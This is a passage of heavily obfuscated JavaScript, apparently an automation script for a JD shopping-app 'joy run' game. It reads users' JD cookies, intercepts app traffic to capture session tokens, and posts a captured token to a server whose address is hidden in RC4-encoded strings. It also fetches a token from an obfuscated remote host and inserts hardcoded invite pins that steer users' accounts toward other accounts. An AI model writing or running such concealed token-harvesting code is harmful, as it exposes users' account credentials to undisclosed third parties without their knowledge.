nsK7w6Q=','N8O1ahQt','EcO9RA==','wrnCrMOYQA==','wpUWWg==','UQLDiAw=','w4sfJgXDhQ==','UwzDgg==','P3FIwoc=','eQdVVg==','w7RHw7sfDyMIJ8OVw5fDllTCisOtdhrDlnTDnhhGwoYnw4Jew5DCmcKFB8K6WMKpTsKXTwd7R27DhnMIw45/agIRbEcBw4ly','w5vDkcOdacOdwp/Dk07Cog==','FcOdw4nCgA==','w4EsXsKlw4w=','w5wPFcOWSg==','KwBiBic=','CMOlZhMT','TwLDlxrCkg==','w5oABwjDnuaMheS6iee4nOadr08=','bzckZMK7','wrvCosOS','X8OlZ8KROg==','cR4EfMKZ','WEvDow==','w7fCjMOlbOisnOayrOWngOi3mw==','w70bHgTDnsKyRMKpwoo=','UMOTEQ==','wqEJM8O3woo=','G8OgSh8pA8K8XMOaCA==','MXdVwpLDrzLDkh0vw7A=','bxpPRwpbSsKLwqTCuQ==','w4N1N8K3w6A=','f+WHl+aOoOS9mMOD','wpjDpT7CoMOhw6w=','5LiV5aSe5Y2u5L+y5p6S6L+k6KG06YOI6K+W5Yqm5YqBwo4=','w70Naw==','Pm3CiWDCv0jlrZzmsqXmsYPCjidEw7lu5o2k5Lm65b2F5bu6Nw==','wq/DgXZAeUl8','wrPCosObQA==','K8OrckDCkgLCv3tY','fDbDqBHCqg==','w6IWfsKEw6nCgQ==','wqfCrMOHVsKO','w744Sw==','6KyF5Yq+6Zm05oWy5Z+IY8KJw5kuw4Xov7nlh4DmorzkvIDmlYrlhrLlrJxj5buc6K+C6YKV6L2E6IWj5p+m5Y+g6I6e5Y6zwpJNXRdmOA==','N0bCukzCnQ==','Sw/DozPCmw==','cyjDvCXCo1BTLU8=','Yw7Crn4vC8KG','PcO2Q3soX8O8VzXCqcOyOFg=','RsONfsKa','wqrCuMOhwp4F','dATCtH8=','wpYuwpUY','GFrCn0rCmA==','wojDtFpXbw==','WizDvQHCgw==','RMO0w4NEQg==','BA5U','AnTCjmR6dGBowoHDl8KRw73DiXbClMKxasOqwpHDmWbDnMKxEsK3S8KkLzLCksOuw6PCtCskPjLCmsKBahzDuMKgdMKLw6sM','wrbChMK4w7LCmg==','w7vDgcOFw6Ey','wrrDgAk=','JHFOwp7DrzHDqxI4','w6JIwpc=','w7JSw6IK','Gz/DnT3orJvmsoblpJjotrHvvoDorqXmoIjmnYrnvpvoto7phpLorJI=','NU9cwqDDpA==','w6NJw7ttwqk=','O2pb','Pi7mkqjovJPmiqHohovmnKDkvr/mlKjmiaPlhoPnvrLkuojliZrnobbnm7zvvbzorLvku5XopJLnmLzljq7miJXmna3lirvlmLAow5LDqg8+wo9yw6U=','WsOlw7NAcQ==','Hy7DisKXPA==','YQ1UdzE=','w7Qdw4diw6Ne','TMOJBT8=','YsOdcMKnMA==','wq/Ct8OpwrvDvw==','w57DssOlw6w4','PmfCjUwP','Q8Oqw7daYMO0QcOsw4RRwoNm','5Lmp6YCK6K+t5YqZ5YmS5oui5YmtYuiOt+W9mQ==','56W85YmNJg==','wrjDlgfCqMON','woDCgsKhw4jCssK7w7kVcw==','5LmO6Leb6LaB5Ymu5YiO5oqU5YqwAOiMl+W9reeJmOezqg==','WsOZfcKtFsOdw63CrVQ=','bhlw','NsO+bUw=','HB/Dk8KFOw==','dwIme8KG','VCfDnRjCqw==','wrkEwqwNeA==','wrTDgW5UR1tow6XDkQ==','wrXDjgBWawEyUUQsIQ==','S8O9PBzCvA==','wrXDinRNbFhCw6/DiMKQUg==','w7AqQsOoS2ZwwrE=','w51SPMOdwrY=','5p+r5a6F5p+556el5ays5rK65rKHw78fwojCrMKM5aej5pal','jsKjiLeTraumi.cOSom.v6HuBzVAd=='];(function(_0x39d73e,_0x5e1b1e,_0x3324f2){var _0x2d9289=function(_0x483c50,_0x58e523,_0x2f428b,_0x2aee30,_0x35e673){_0x58e523=_0x58e523>>0x8,_0x35e673='po';var _0x31c0da='shift',_0x1a489d='push';if(_0x58e523<_0x483c50){while(--_0x483c50){_0x2aee30=_0x39d73e[_0x31c0da]();if(_0x58e523===_0x483c50){_0x58e523=_0x2aee30;_0x2f428b=_0x39d73e[_0x35e673+'p']();}else if(_0x58e523&&_0x2f428b['replace'](/[KLeTruOSHuBzVAd=]/g,'')===_0x58e523){_0x39d73e[_0x1a489d](_0x2aee30);}}_0x39d73e[_0x1a489d](_0x39d73e[_0x31c0da]());}return 0x8d45f;};return _0x2d9289(++_0x5e1b1e,_0x3324f2)>>_0x5e1b1e^_0x3324f2;}(_0x1018,0x15f,0x15f00));var _0x1d8d=function(_0x4b315c,_0x2d152c){_0x4b315c=~~'0x'['concat'](_0x4b315c);var _0x21c3b8=_0x1018[_0x4b315c];if(_0x1d8d['ohWjlP']===undefined){(function(){var _0x2c7057=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0xaa220a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2c7057['atob']||(_0x2c7057['atob']=function(_0xf4461c){var _0x49660=String(_0xf4461c)['replace'](/=+$/,'');for(var _0x37bea7=0x0,_0x3165a9,_0xdfabfe,_0x59375f=0x0,_0x196a68='';_0xdfabfe=_0x49660['charAt'](_0x59375f++);~_0xdfabfe&&(_0x3165a9=_0x37bea7%0x4?_0x3165a9*0x40+_0xdfabfe:_0xdfabfe,_0x37bea7++%0x4)?_0x196a68+=String['fromCharCode'](0xff&_0x3165a9>>(-0x2*_0x37bea7&0x6)):0x0){_0xdfabfe=_0xaa220a['indexOf'](_0xdfabfe);}return _0x196a68;});}());var _0x5a6788=function(_0x55ac0e,_0x2d152c){var _0x4a3887=[],_0x2d5fd9=0x0,_0x2f06ae,_0x3461cd='',_0xbce843='';_0x55ac0e=atob(_0x55ac0e);for(var _0x1a330c=0x0,_0x5eb9ad=_0x55ac0e['length'];_0x1a330c<_0x5eb9ad;_0x1a330c++){_0xbce843+='%'+('00'+_0x55ac0e['charCodeAt'](_0x1a330c)['toString'](0x10))['slice'](-0x2);}_0x55ac0e=decodeURIComponent(_0xbce843);for(var _0x3c5029=0x0;_0x3c5029<0x100;_0x3c5029++){_0x4a3887[_0x3c5029]=_0x3c5029;}for(_0x3c5029=0x0;_0x3c5029<0x100;_0x3c5029++){_0x2d5fd9=(_0x2d5fd9+_0x4a3887[_0x3c5029]+_0x2d152c['charCodeAt'](_0x3c5029%_0x2d152c['length']))%0x100;_0x2f06ae=_0x4a3887[_0x3c5029];_0x4a3887[_0x3c5029]=_0x4a3887[_0x2d5fd9];_0x4a3887[_0x2d5fd9]=_0x2f06ae;}_0x3c5029=0x0;_0x2d5fd9=0x0;for(var _0x5150c8=0x0;_0x5150c8<_0x55ac0e['length'];_0x5150c8++){_0x3c5029=(_0x3c5029+0x1)%0x100;_0x2d5fd9=(_0x2d5fd9+_0x4a3887[_0x3c5029])%0x100;_0x2f06ae=_0x4a3887[_0x3c5029];_0x4a3887[_0x3c5029]=_0x4a3887[_0x2d5fd9];_0x4a3887[_0x2d5fd9]=_0x2f06ae;_0x3461cd+=String['fromCharCode'](_0x55ac0e['charCodeAt'](_0x5150c8)^_0x4a3887[(_0x4a3887[_0x3c5029]+_0x4a3887[_0x2d5fd9])%0x100]);}return _0x3461cd;};_0x1d8d['eNfoGN']=_0x5a6788;_0x1d8d['pnqGQb']={};_0x1d8d['ohWjlP']=!![];}var _0x1c9f5b=_0x1d8d['pnqGQb'][_0x4b315c];if(_0x1c9f5b===undefined){if(_0x1d8d['otfOxo']===undefined){_0x1d8d['otfOxo']=!![];}_0x21c3b8=_0x1d8d['eNfoGN'](_0x21c3b8,_0x2d152c);_0x1d8d['pnqGQb'][_0x4b315c]=_0x21c3b8;}else{_0x21c3b8=_0x1c9f5b;}return _0x21c3b8;};const isRequest=typeof $request!=_0x1d8d('0','20LO');const JD_BASE_API=_0x1d8d('1','v[xq');const jdCookieNode=$['isNode']()?require(_0x1d8d('2','$XvX')):{};let invite_pins=[_0x1d8d('3',']f#3')];let run_pins=[_0x1d8d('4','Q0uE')];let friendsArr=[_0x1d8d('5','buJq'),_0x1d8d('6','&o(o'),_0x1d8d('7','PC7O'),_0x1d8d('8','[13G'),_0x1d8d('9','&o(o'),_0x1d8d('a','[Au0'),_0x1d8d('b',']f#3'),_0x1d8d('c','EtFw')];let cookiesArr=[],cookie='';let nowTimes=new Date(new Date()[_0x1d8d('d','[13G')]()+new Date()[_0x1d8d('e','[Au0')]()*0x3c*0x3e8+0x8*0x3c*0x3c*0x3e8);const headers={'Connection':'keep-alive','Accept-Encoding':_0x1d8d('f','DLFY'),'App-Id':'','Lottery-Access-Signature':'','Content-Type':_0x1d8d('10','@R[F'),'reqSource':'weapp','User-Agent':_0x1d8d('11','bP9Z'),'Cookie':'','openId':'','Host':_0x1d8d('12','EtFw'),'Referer':_0x1d8d('13','jE2P'),'Accept-Language':_0x1d8d('14','Z@OR'),'Accept':_0x1d8d('15','DLFY'),'LKYLToken':''};if($[_0x1d8d('16','(i((')]()){Object['keys'](jdCookieNode)['forEach'](_0xb6c228=>{cookiesArr[_0x1d8d('17','$XN&')](jdCookieNode[_0xb6c228]);});}else{var RwDvVX=_0x1d8d('18','jE2P')['split']('|'),OisqxT=0x0;while(!![]){switch(RwDvVX[OisqxT++]){case'0':if($['getdata'](_0x1d8d('19','%Ier'))){if(run_pins[_0x1d8d('1a','MV^d')]>0x0){run_pins['push']($[_0x1d8d('1b','2Yg&')](_0x1d8d('1c','$XN&')));}else{run_pins=[];run_pins[_0x1d8d('1d','G@&z')]($[_0x1d8d('1e','DLFY')]('jd2_joy_run_pin'));}}continue;case'1':if($[_0x1d8d('1f','[Au0')](_0x1d8d('20','mNmJ'))){invite_pins=[];invite_pins[_0x1d8d('21','2Yg&')]($[_0x1d8d('22','2R2%')](_0x1d8d('23','B6wd')));}continue;case'2':cookiesArr=[$[_0x1d8d('24','G@&z')](_0x1d8d('25','mNmJ')),$[_0x1d8d('26','Fuxb')]('CookieJD2'),...jsonParse($[_0x1d8d('1f','[Au0')](_0x1d8d('27','B6wd'))||'[]')[_0x1d8d('28','EtFw')](_0x46e81d=>_0x46e81d[_0x1d8d('29','1oK$')])][_0x1d8d('2a','PC7O')](_0x10494f=>!!_0x10494f);continue;case'3':if($['getdata'](_0x1d8d('2b','jPP7'))){run_pins=[];run_pins[_0x1d8d('2c','IldE')]($[_0x1d8d('2d','1oK$')](_0x1d8d('2e','mNmJ')));}continue;case'4':if($[_0x1d8d('2f','B6wd')](_0x1d8d('30','6Ixg'))){if(invite_pins[_0x1d8d('31','2Yg&')]>0x0){invite_pins[_0x1d8d('32','B6wd')]($[_0x1d8d('33','bP9Z')](_0x1d8d('34','%bsr')));}else{invite_pins=[];invite_pins[_0x1d8d('35','MUvq')]($['getdata'](_0x1d8d('36','G@&z')));}}continue;}break;}}async function main(){var _0x330a01={'wboGK':function(_0x150d57,_0x465add,_0x4bea30){return _0x150d57(_0x465add,_0x4bea30);},'Bcrkx':_0x1d8d('37','X^Nl'),'lEpZb':_0x1d8d('38','MUvq'),'dBuyc':_0x1d8d('39','[Au0'),'XcCDS':function(_0x216bc4,_0x829fe3){return _0x216bc4===_0x829fe3;},'CnGWz':_0x1d8d('3a','1oK$'),'DvjUc':_0x1d8d('3b','MV^d'),'dFyGo':_0x1d8d('3c','B6wd'),'mCAPt':_0x1d8d('3d','@R[F'),'sQnZi':function(_0x48c324){return _0x48c324();},'KXKyQ':function(_0x5ab484,_0x4eaec2){return _0x5ab484===_0x4eaec2;},'ocmKe':function(_0x574f7b,_0x4dff67){return _0x574f7b!==_0x4dff67;},'oaPND':'iKRfp','owixF':'jdJoyRunToken','locdG':_0x1d8d('3e','F3d('),'yilwt':_0x1d8d('3f','MUvq'),'smMWo':_0x1d8d('40','2R2%'),'jmNlF':function(_0x510471,_0x23a2ba){return _0x510471<_0x23a2ba;},'XWBhm':_0x1d8d('41','[13G'),'dpXxT':function(_0x4cb76b,_0x1902e1){return _0x4cb76b+_0x1902e1;},'VmJgh':function(_0x465ab3,_0x22fca7){return _0x465ab3>_0x22fca7;},'ldqtP':function(_0x299ec6,_0x1e8295){return _0x299ec6(_0x1e8295);},'ULgog':function(_0x5b0582,_0x3afeb6){return _0x5b0582>=_0x3afeb6;},'ICYbN':function(_0x137f85,_0x3a8d09){return _0x137f85===_0x3a8d09;},'ZVyjt':'FjfsC','HvgDn':function(_0x39ab01,_0x12b114){return _0x39ab01-_0x12b114;}};if(!cookiesArr[0x0]){$['msg']($[_0x1d8d('42','6Ixg')],_0x330a01[_0x1d8d('43','Q0uE')],_0x330a01['mCAPt'],{'open-url':_0x330a01['mCAPt']});return;}const _0x410455=await _0x330a01[_0x1d8d('44','OkG9')](readToken);if(_0x410455&&_0x330a01[_0x1d8d('45','1oK$')](_0x410455['code'],0xc8)){if(_0x330a01[_0x1d8d('46','&o(o')](_0x330a01[_0x1d8d('47','Fuxb')],'gMbwp')){$[_0x1d8d('48','buJq')]=_0x410455[_0x1d8d('49','[13G')][0x0]||($[_0x1d8d('4a','buJq')]()?process[_0x1d8d('4b','Z@OR')][_0x1d8d('4c','6Ixg')]?process[_0x1d8d('4d','LMvC')][_0x1d8d('4e','DLFY')]:jdJoyRunToken:$[_0x1d8d('4f','20LO')](_0x330a01['owixF'])||jdJoyRunToken);}else{if(process[_0x1d8d('50','B6wd')][_0x1d8d('51','DLFY')]){console[_0x1d8d('52','DLFY')](_0x1d8d('53','a5b5'));let _0x156ea1=[];Object[_0x1d8d('54','EtFw')](jdCookieNode)[_0x1d8d('55','ziq7')](_0x350e13=>_0x350e13['match'](/pt_pin=([^; ]+)(?=;?)/))[_0x1d8d('56','a)x2')](_0x4e5028=>_0x156ea1[_0x1d8d('57','Fuxb')](decodeURIComponent(_0x4e5028[_0x1d8d('58','1oK$')](/pt_pin=([^; ]+)(?=;?)/)[0x1])));run_pins=[...new Set(_0x156ea1),[..._0x330a01['wboGK'](getRandomArrayElements,[...run_pins[0x0][_0x1d8d('59','$XN&')](',')],[...run_pins[0x0][_0x1d8d('5a',']q![')](',')][_0x1d8d('5b','2R2%')])]];run_pins=[[...run_pins][_0x1d8d('5c',']q![')](',')];invite_pins=run_pins;}else{console[_0x1d8d('52','DLFY')](_0x1d8d('5d','G@&z'));run_pins=run_pins[0x0][_0x1d8d('5e','buJq')](',');Object[_0x1d8d('5f','6Ixg')](jdCookieNode)['filter'](_0x4d9db7=>_0x4d9db7['match'](/pt_pin=([^; ]+)(?=;?)/))[_0x1d8d('60','Z@OR')](_0x13087c=>run_pins[_0x1d8d('61','7)Tk')](decodeURIComponent(_0x13087c[_0x1d8d('62','F3d(')](/pt_pin=([^; ]+)(?=;?)/)[0x1])));run_pins=[...new Set(run_pins)];let _0x183cb0=run_pins[_0x1d8d('63','&o(o')](run_pins['indexOf'](_0x330a01['Bcrkx']),0x1);_0x183cb0[_0x1d8d('64','F3d(')](...run_pins['splice'](run_pins[_0x1d8d('65','[Au0')](_0x330a01['lEpZb']),0x1));const _0x539339=_0x330a01[_0x1d8d('66','v[xq')](getRandomArrayElements,run_pins,run_pins[_0x1d8d('5b','2R2%')]);run_pins=[[..._0x183cb0,..._0x539339][_0x1d8d('67','1jsB')](',')];invite_pins=run_pins;}}}else{$['LKYLToken']=$['isNode']()?process[_0x1d8d('68',']q![')][_0x1d8d('69','a5b5')]?process[_0x1d8d('6a','i)4I')][_0x1d8d('6b','Zg)1')]:jdJoyRunToken:$['getdata'](_0x330a01[_0x1d8d('6c','F3d(')])||jdJoyRunToken;}console['log'](_0x1d8d('6d','[Au0')+($['LKYLToken']?$[_0x1d8d('6e','%bsr')]:_0x1d8d('6f','F3d('))+'\x0a');if(!$['LKYLToken']){if(_0x330a01[_0x1d8d('70','i%AY')](_0x330a01[_0x1d8d('71','gmfl')],_0x330a01['locdG'])){if(err){$[_0x1d8d('72','LMvC')](_0x330a01[_0x1d8d('73','jPP7')]);$[_0x1d8d('74','IldE')](JSON[_0x1d8d('75','$XvX')](err));}else{$['log']('赛跑助力结果'+data);data=JSON[_0x1d8d('76','$XN&')](data);if(_0x330a01['XcCDS'](data['errorCode'],_0x330a01[_0x1d8d('77','gmfl')])&&_0x330a01['XcCDS'](data[_0x1d8d('78','jPP7')][_0x1d8d('79','@%ST')],_0x330a01[_0x1d8d('7a','B6wd')])){console[_0x1d8d('7b','20LO')]('助力'+friendPin+_0x1d8d('7c','6Ixg')+data[_0x1d8d('7d','3$I%')][_0x1d8d('7e','FjT2')]+'g\x0a');$[_0x1d8d('7f','i)4I')]+=data[_0x1d8d('80','X^Nl')][_0x1d8d('81','Fuxb')];}}}else{$[_0x1d8d('82','gmfl')]($[_0x1d8d('83','2Yg&')],_0x330a01[_0x1d8d('84','1jsB')],_0x330a01[_0x1d8d('85','1jsB')]);}}await getFriendPins();for(let _0x5cde8b=0x0;_0x330a01[_0x1d8d('86','[Au0')](_0x5cde8b,cookiesArr['length']);_0x5cde8b++){if(cookiesArr[_0x5cde8b]){if($[_0x1d8d('87','F3d(')]()){if(_0x330a01['KXKyQ']('rioTJ',_0x330a01[_0x1d8d('88','X^Nl')])){resolve(data);}else{if(process[_0x1d8d('89','Fuxb')][_0x1d8d('8a','Q0uE')]){console[_0x1d8d('8b','mNmJ')](_0x1d8d('8c','buJq'));let _0x53e50e=[];Object['values'](jdCookieNode)[_0x1d8d('8d','MUvq')](_0x1c7caf=>_0x1c7caf[_0x1d8d('8e','OkG9')](/pt_pin=([^; ]+)(?=;?)/))[_0x1d8d('8f','i%AY')](_0x2fc1f9=>_0x53e50e[_0x1d8d('90','bP9Z')](decodeURIComponent(_0x2fc1f9[_0x1d8d('91','%Ier')](/pt_pin=([^; ]+)(?=;?)/)[0x1])));run_pins=[...new Set(_0x53e50e),[..._0x330a01[_0x1d8d('92','MV^d')](getRandomArrayElements,[...run_pins[0x0][_0x1d8d('93','6Ixg')](',')],[...run_pins[0x0][_0x1d8d('94','1jsB')](',')][_0x1d8d('95','FjT2')])]];run_pins=[[...run_pins][_0x1d8d('96','6Ixg')](',')];invite_pins=run_pins;}else{console[_0x1d8d('97','@%ST')](_0x1d8d('98','%Ier'));run_pins=run_pins[0x0]['split'](',');Object[_0x1d8d('99','F3d(')](jdCookieNode)[_0x1d8d('9a','(i((')](_0xb3c3d3=>_0xb3c3d3[_0x1d8d('9b','mNmJ')](/pt_pin=([^; ]+)(?=;?)/))['map'](_0x4808af=>run_pins[_0x1d8d('9c','[Au0')](decodeURIComponent(_0x4808af[_0x1d8d('9d','@R[F')](/pt_pin=([^; ]+)(?=;?)/)[0x1])));run_pins=[...new Set(run_pins)];let _0xcaf91e=run_pins[_0x1d8d('9e','a5b5')](run_pins[_0x1d8d('9f','Fuxb')](_0x330a01['Bcrkx']),0x1);_0xcaf91e[_0x1d8d('a0',']q![')](...run_pins[_0x1d8d('a1','2R2%')](run_pins[_0x1d8d('a2','LMvC')](_0x330a01[_0x1d8d('a3','ziq7')]),0x1));const _0x29c843=_0x330a01['wboGK'](getRandomArrayElements,run_pins,run_pins['length']);run_pins=[[..._0xcaf91e,..._0x29c843]['join'](',')];invite_pins=run_pins;}}}cookie=cookiesArr[_0x5cde8b];UserName=decodeURIComponent(cookie[_0x1d8d('91','%Ier')](/pt_pin=([^; ]+)(?=;?)/)&&cookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x1d8d('a4','1jsB')]=_0x330a01[_0x1d8d('a5','%Ier')](_0x5cde8b,0x1);$['inviteReward']=0x0;$[_0x1d8d('a6','20LO')]=0x0;console['log'](_0x1d8d('a7','DLFY')+$[_0x1d8d('a8','@R[F')]+'】'+UserName+'\x0a');$[_0x1d8d('a9','ziq7')]=!![];$[_0x1d8d('aa',']q![')]=!![];console['log']('=============【开始邀请助力】===============');const _0x488ffe=_0x330a01[_0x1d8d('ab','Zg)1')]($[_0x1d8d('ac','a5b5')],invite_pins[_0x1d8d('ad','bP9Z')])?invite_pins['length']-0x1:$[_0x1d8d('ae','LMvC')]-0x1;let _0x4fc576=invite_pins[_0x488ffe][_0x1d8d('af','v[xq')](',');_0x4fc576=[..._0x4fc576,..._0x330a01['wboGK'](getRandomArrayElements,friendsArr,friendsArr['length']>=0x12?0x12:friendsArr[_0x1d8d('b0','Fuxb')])];await _0x330a01[_0x1d8d('b1','X^Nl')](invite,_0x4fc576);if($[_0x1d8d('b2','mNmJ')]&&$[_0x1d8d('b3','L2w5')]){if(_0x330a01[_0x1d8d('b4',']q![')](nowTimes['getHours'](),0x9)&&_0x330a01['jmNlF'](nowTimes[_0x1d8d('b5','bP9Z')](),0x15)){if(_0x330a01[_0x1d8d('b6','L2w5')](_0x330a01[_0x1d8d('b7','[13G')],_0x330a01[_0x1d8d('b8','G@&z')])){console[_0x1d8d('72','LMvC')]('===========【开始助力好友赛跑】===========');const _0x100026=$[_0x1d8d('b9','jPP7')]>run_pins[_0x1d8d('ba','@R[F')]?_0x330a01[_0x1d8d('bb','1oK$')](run_pins['length'],0x1):$[_0x1d8d('bc','B6wd')]-0x1;let _0x4b3e35=run_pins[_0x100026][_0x1d8d('bd','MUvq')](',');await run(_0x4b3e35);}else{friendsArr=$[_0x1d8d('be','B6wd')][_0x330a01['DvjUc']];console[_0x1d8d('bf','1oK$')](_0x1d8d('c0','Z@OR')+friendsArr['length']+_0x1d8d('c1','LMvC'));}}else{console[_0x1d8d('c2','$XvX')](_0x1d8d('c3','FjT2'));}}await showMsg();}}$[_0x1d8d('c4','B6wd')]();}let count=0x0;async function getToken(){var _0x4e349a={'smmsZ':_0x1d8d('c5','jPP7'),'DOPvS':_0x1d8d('c6','Zg)1'),'PNRHK':'sFkqm','YrRPU':function(_0x35ae6d,_0x3c6366){return _0x35ae6d===_0x3c6366;},'HkBNE':function(_0x287c6f,_0x2e727f){return _0x287c6f!==_0x2e727f;},'dcXRH':'uwEiT','wItnI':_0x1d8d('c7','G@&z'),'nHRkG':_0x1d8d('c8','Zg)1'),'GHeeF':function(_0x4a4007,_0x10543a){return _0x4a4007==_0x10543a;},'jJGOJ':function(_0x4b51b0,_0x51af5a,_0xec2544){return _0x4b51b0(_0x51af5a,_0xec2544);},'dpiqC':function(_0x410ab8,_0xd0128c){return _0x410ab8!==_0xd0128c;},'EpJhu':_0x1d8d('c9','jE2P'),'Whwhn':_0x1d8d('ca','Zg)1'),'GfFlM':'joy','SrjqV':_0x1d8d('cb','@%ST'),'tlFZl':'OPTIONS','oiRde':_0x1d8d('cc','2R2%')};const _0xdd62d6=$request['url'];$[_0x1d8d('cd','EtFw')]($[_0x1d8d('ce','[Au0')]+_0x1d8d('cf','L2w5')+_0xdd62d6+'\x0a');if(_0x4e349a[_0x1d8d('d0','EtFw')](isURL,_0xdd62d6,/^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code=/)){if(_0x4e349a[_0x1d8d('d1','&o(o')](_0x1d8d('d2','2R2%'),_0x1d8d('d3','[Au0'))){const _0x2f6d4c=JSON['parse']($response['body']);const _0x861c3e=_0x2f6d4c['data']&&_0x2f6d4c[_0x1d8d('7d','3$I%')]['token'];if(_0x861c3e){$[_0x1d8d('d4','[Au0')]($[_0x1d8d('d5','MV^d')]+'\x20token\x0a'+_0x861c3e+'\x0a');$[_0x1d8d('d6','$XvX')]($[_0x1d8d('d7','v[xq')],_0x4e349a[_0x1d8d('d8','Fuxb')],'');console[_0x1d8d('d9','v[xq')]('\x0aToken,'+_0x861c3e+'\x0a');$[_0x1d8d('da','MUvq')][_0x1d8d('db','2Yg&')]({'url':_0x1d8d('dc','DLFY'),'headers':{'Content-Type':_0x4e349a['Whwhn']},'body':JSON[_0x1d8d('dd','L2w5')]({'activity_name':_0x4e349a['GfFlM'],'share_code':_0x861c3e}),'timeout':0x7530})[_0x1d8d('de','Q0uE')](_0x4db715=>{var _0x4343aa={'FtjGg':_0x4e349a['smmsZ']};if(_0x4e349a['DOPvS']!==_0x4e349a[_0x1d8d('df','IldE')]){if(_0x4e349a[_0x1d8d('e0','mNmJ')](_0x4db715['statusCode'],0xc8)){try{if(_0x4e349a[_0x1d8d('e1',']f#3')](_0x4e349a['dcXRH'],_0x1d8d('e2','[Au0'))){data=JSON[_0x1d8d('e3','v[xq')](data);}else{let {body}=_0x4db715;console['log'](_0x1d8d('e4','Fuxb')+_0x2f6d4c+'\x0a');_0x2f6d4c=JSON[_0x1d8d('e5','i%AY')](_0x2f6d4c);console[_0x1d8d('e6','MV^d')](''+_0x2f6d4c['message']);}}catch(_0x30c25a){if(_0x4e349a[_0x1d8d('e7','buJq')]===_0x4e349a[_0x1d8d('e8','i%AY')]){if(err){$[_0x1d8d('e9','2R2%')]($['name']+_0x1d8d('ea','MV^d'));$['log'](JSON[_0x1d8d('eb','Fuxb')](err));}else{data=JSON['parse'](data);}}else{console[_0x1d8d('ec','FjT2')]('提交Token异常:'+_0x30c25a);}}}}else{$['friendPins']=data&&JSON[_0x1d8d('ed','LMvC')](data);if($[_0x1d8d('ee','[Au0')]&&$[_0x1d8d('ef','MUvq')][_0x4343aa['FtjGg']]){friendsArr=$[_0x1d8d('f0','2Yg&')][_0x4343aa[_0x1d8d('f1','1jsB')]];console[_0x1d8d('ec','FjT2')](_0x1d8d('f2','%Ier')+friendsArr[_0x1d8d('f3','1oK$')]+_0x1d8d('f4','v[xq'));}}})['catch'](_0x37baf7=>console[_0x1d8d('f5','IldE')](_0x1d8d('f6','$XN&')+_0x37baf7));$[_0x1d8d('f7','@R[F')](_0x861c3e,_0x4e349a['SrjqV']);}$[_0x1d8d('f8','MV^d')]({'body':JSON[_0x1d8d('f9','OkG9')](_0x2f6d4c)});}else{if(_0x4e349a[_0x1d8d('fa','6Ixg')](typeof str,_0x1d8d('fb','IldE'))){try{return JSON[_0x1d8d('fc','MV^d')](str);}catch(_0x5ed4ca){console['log'](_0x5ed4ca);$[_0x1d8d('fd','20LO')]($['name'],'',_0x1d8d('fe','a)x2'));return[];}}}}else if(_0x4e349a[_0x1d8d('ff','$XN&')](isURL,_0xdd62d6,/^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=/)){if($request&&$request['method']!==_0x4e349a[_0x1d8d('100','v[xq')]){const _0x14840e=$request['headers'][_0x1d8d('101','v[xq')];$[_0x1d8d('102','%bsr')](_0x14840e,_0x1d8d('103','F3d('));$[_0x1d8d('fd','20LO')]($[_0x1d8d('104','buJq')],_0x4e349a[_0x1d8d('105','3$I%')],'');$[_0x1d8d('106','%bsr')]({'url':_0xdd62d6});}}else{$[_0x1d8d('107','a)x2')]();}}function readToken(){var _0xd98ea={'hLjjP':function(_0x4b935d,_0x549041){return _0x4b935d(_0x549041);},'TPXsw':function(_0x628efb,_0x177362){return _0x628efb!==_0x177362;},'eOXht':'iVjTS','npBwV':_0x1d8d('108','$XN&')};return new Promise(_0x30b794=>{var _0x225f48={'JqcXC':function(_0x5e79e4,_0x5a0d43){return _0xd98ea['hLjjP'](_0x5e79e4,_0x5a0d43);},'DswhM':function(_0x3535ec,_0x4f8587){return _0xd98ea[_0x1d8d('109','@R[F')](_0x3535ec,_0x4f8587);},'iewbR':_0xd98ea[_0x1d8d('10a','v[xq')],'xEsmZ':function(_0x1848e5,_0xc9204e){return _0x1848e5===_0xc9204e;},'herUU':_0xd98ea[_0x1d8d('10b','bP9Z')]};$[_0x1d8d('10c',']f#3')]({'url':_0x1d8d('10d','Zg)1'),'timeout':0x2710},(_0x285b4c,_0x36b3b5,_0x40bbab)=>{var _0x42f671={'rUwzo':function(_0x15db87,_0x3ab9fa){return _0x225f48['JqcXC'](_0x15db87,_0x3ab9fa);}};if(_0x225f48[_0x1d8d('10e','&o(o')](_0x225f48[_0x1d8d('10f','(i((')],'nQJJl')){try{if(_0x285b4c){console[_0x1d8d('110','X^Nl')](''+JSON[_0x1d8d('111','MUvq')](_0x285b4c));console[_0x1d8d('112','i)4I')]($[_0x1d8d('113','DLFY')]+_0x1d8d('114','6Ixg'));}else{if(_0x225f48['xEsmZ'](_0x1d8d('115','PC7O'),_0x1d8d('116','gmfl'))){console[_0x1d8d('117','MUvq')](_0x1d8d('118','2R2%'));_0x40bbab=JSON[_0x1d8d('119','bP9Z')](_0x40bbab);}else{if(_0x40bbab){console['log']('\x0a\x0a搬运我脚本修改我内置互助码的,请不要盗取我服务器token\x0a\x0a\x0a');_0x40bbab=JSON[_0x1d8d('11a','B6wd')](_0x40bbab);}}}}catch(_0x5ff935){if('EVbIO'===_0x225f48[_0x1d8d('11b','2Yg&')]){$[_0x1d8d('11c',']q![')](_0x5ff935,_0x36b3b5);}else{run_pins[_0x1d8d('11d','FjT2')]($['getdata']('jd2_joy_run_pin'));}}finally{_0x225f48[_0x1d8d('11e','buJq')](_0x30b794,_0x40bbab);}}else{_0x42f671[_0x1d8d('11f','a5b5')](_0x30b794,_0x40bbab);}});});}function showMsg(){var _0x2f14fd={'LVWoX':function(_0x54ba77,_0x597314){return _0x54ba77>_0x597314;},'TgwXO':function(_0x370c3e,_0x9aa8b5){return _0x370c3e/_0x9aa8b5;},'junUI':function(_0x3b55f1,_0x19e8d8){return _0x3b55f1/_0x19e8d8;},'sPkab':function(_0x50d01c){return _0x50d01c();}};return new Promise(async _0x3bb2ea=>{if($['inviteReward']||$['runReward']){let 